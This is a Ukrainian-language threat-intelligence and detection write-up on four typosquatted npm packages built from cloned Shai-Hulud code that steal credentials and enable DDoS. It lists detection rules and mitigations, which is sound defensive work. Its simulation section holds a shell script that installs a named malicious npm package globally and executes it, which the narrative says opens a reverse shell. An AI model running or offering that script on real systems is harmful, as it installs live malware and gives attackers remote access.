Клони Shai-Hulud: Копії TeamPCP вже тут
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Дослідники виявили чотири шкідливі пакети npm, які поєднують у собі функції інфостилера з можливостями розподілених атак відмови в обслуговуванні. Ці пакети імітують популярні бібліотеки через типо-сквотинг і включають відкритий код Shai-Hulud, модифікований для використання серверів командування та управління, контрольованих зловмисниками. Установлення будь-якого з пакетів може призвести до викрадення облікових даних, ексфільтрації хмарних секретів, і в одному випадку до перепідключення інфікованого хоста до ботнету DDoS. Знахідки підкреслюють зростаючий ризик ланцюга поставок у екосистемі npm.
Розслідування
Аналітики порівняли пакет chalk-tempalte з витеклим вихідним кодом Shai-Hulud і виявили, що це практично точна, незамаскована копія, налаштована на власний кінцевий пункт управління. Решта пакетів передавали вкрадені дані на окремі шкідливі домени або на IP-адресу через порт 2222, при цьому одна з версій також розгорнула локальну бот-службу на основі Go для DDoS активності. Усі чотири пакети були опубліковані одним і тим самим акаунтом npm, що підсилює зв’язок між ними.
Пом’якшення
Організації повинні негайно видалити шкідливі пакети з будь-яких проєктів і видалити асоційовані артефакти конфігурації з середовищ розробників і систем збірки. Усі облікові дані, які могли бути розкриті, повинні бути замінені, а доступ до визначених шкідливих доменів і IP-адрес має бути заблокований. Команди також повинні перевіряти залежності npm для наявності типо-сквотованих пакетів, що імітують ті самі легітимні бібліотеки.
Реакція
Захисники повинні створити виявлення для вихідних з’єднань до визначених доменів командування та управління і IP-адрес, попереджати про встановлення чотирьох шкідливих імен пакетів, і перевіряти системи на наявність вбудованого публічного ключа, пов’язаного зі шкідливим програмним забезпеченням. Будь-яка система, що встановила один з пакетів, повинна пройти судово-медичний огляд для визначення чи були розгорнуті постійні служби, заплановані задачі або додаткові корисні навантаження.
Потік атаки
Виявлення
Підозріле завантаження виконуваного файлу (через проксі)
Перегляд
Можливе створення конфігураційного файлу автоматичних завдань Vscode у нетиповій директорії [MACOS] (через file_event)
Перегляд
Віддалене завантаження/вивантаження файлів за допомогою стандартних засобів (через cmdline)
Перегляд
Можливе створення конфігураційного файлу автоматичних завдань Vscode у нетиповій директорії [LINUX] (через file_event)
Перегляд
Прихований файл був створений на сервері Linux (через file_event)
Перегляд
Можливі точки збереження [ASEPs – гілка Software/NTUSER Hive] (через registry_event)
Перегляд
Можливе використання schtasks або AT для збереження (через cmdline)
Перегляд
Можливі точки збереження [ASEPs – гілка Software/NTUSER Hive] (через cmdline)
Перегляд
Підозрілі бінарні файли/скрипти в локації автоперезапуску (через file_event)
Перегляд
Можлива спроба взаємодії з доменами IP Lookup (через dns)
Перегляд
Підозріле командування і управління через запит DNS з нетиповим доменом верхнього рівня (TLD) (через dns)
Перегляд
Можливе використання crontab для прямого виконання (через cmdline)
Перегляд
IOC (вихідний IP): нові актори виконують клонування Shai-Hulud: копіювальники TeamPCP є тут
Перегляд
IOC (вхідний IP): нові актори виконують клонування Shai-Hulud: копіювальники TeamPCP є тут
Перегляд
Виявлення вихідних мережевих з’єднань з серверами C2 Shai-Hulud [брандмауер]
Перегляд
Виявлення виконання шкідливого пакета NPM [створення процесу Windows]
Перегляд
Виявлення виконання шкідливого пакета npm [створення процесу Linux]
Перегляд
Виконання симуляції
Передумова: перевірка телеметрії та базового заміру повинна пройти.
Обґрунтування: цей розділ детально описує точне виконання тактики супротивника (TTP), призначений для активації правила виявлення. Команди та наративи ПОВИННІ прямо відображати ідентифіковані TTP і прагнути до створення точної телеметрії, яку очікує логіка виявлення.
-
Атакуючий наратив та команди:
- Первинне розвідка (необов’язково): Атакуючий перераховує середовище Node.js жертви, щоб підтвердити наявність
npm. - Отримання шкідливого пакета: Атакуючий завантажує шкідливий пакет npm, що імітує легітимну утиліту (наприклад,
@deadcode09284814/axios-util). - Установлення та виконання: Використовуючи єдину лінію, атакуючий встановлює пакет глобально і негайно виконує JavaScript корисне навантаження, яке відкриває зворотну оболонку.
- Збереження (поза рамками): Атакуючий може додати шкідливий пакет до
package.jsonдля подальшого використання.
- Первинне розвідка (необов’язково): Атакуючий перераховує середовище Node.js жертви, щоб підтвердити наявність
-
Скрипт регресійного тесту: Скрипт відтворює кроки 2-3 точно, генеруючи рядки командного рядка, які відповідають правилу Sigma.
# malicious_npm_execution.sh # ------------------------------------------------- # 1️⃣ Забезпечте наявність середовища виконання Node.js if ! command -v node >/dev/null 2>&1; then echo "[*] Встановлюється Node.js та npm" sudo apt‑update && sudo apt‑install -y nodejs npm fi # 2️⃣ Встановіть шкідливий пакет npm (симульовано) # (Замініть на справжній шкідливий пакет у реальному тесті) MALICIOUS_PKG="@deadcode09284814/axios-util" echo "[*] Встановлюється шкідливий пакет: $MALICIOUS_PKG" npm install -g "$MALICIOUS_PKG" # 3️⃣ Виконайте корисне навантаження, яке постачається з пакетом # Тут ми просто вимагаємо пакет; скрипт postinstall пакета # запустить код атакуючого. echo "[*] Запуск шкідливого корисного навантаження" node -e "require('$MALICIOUS_PKG');" # 4️⃣ Необов'язково: Збережіть оболонку живою для спостереження sleep 30 echo "[*] Тест завершено" # ------------------------------------------------- -
Команди очищення: Видаліть шкідливий пакет і всі створені файли.
# cleanup_malicious_npm.sh # ------------------------------------------------- echo "[*] Видаляється шкідливий пакет npm" npm uninstall -g "@deadcode09284814/axios-util" || true # Видаліть будь-які залишкові node_modules з домашнього каталогу rm -rf "$HOME/.npm/_cacache" echo "[*] Очистка завершена" # -------------------------------------------------